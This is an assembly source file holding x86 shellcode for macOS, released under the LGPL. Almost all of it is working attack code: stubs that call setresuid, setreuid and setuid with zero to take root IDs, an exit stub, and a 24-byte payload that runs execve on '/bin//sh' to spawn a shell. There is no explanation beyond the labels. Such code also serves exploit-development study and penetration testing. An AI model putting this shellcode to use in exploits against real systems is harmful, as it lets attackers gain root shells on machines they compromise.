/* * osx-x86-shellcode.s * Copyright 2006 Ramon de Carvalho Valle * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * */ .global _start _start: setresuidcode: xorl %eax,%eax pushl %eax pushl %eax pushl %eax pushl %eax movw $0x0137,%ax int $0x80 setreuidcode: xorl %eax,%eax pushl %eax pushl %eax pushl %eax movb $0x7e,%al int $0x80 setuidcode: xorl %eax,%eax pushl %eax pushl %eax movb $0x17,%al int $0x80 exitcode: xorl %eax,%eax pushl %eax movb $0x01,%al int $0x80 # 24 bytes shellcode: xorl %eax,%eax pushl %eax pushl $0x68732f2f pushl $0x6e69622f movl %esp,%ebx pushl %eax pushl %esp pushl %esp pushl %ebx pushl %eax movb $0x3b,%al int $0x80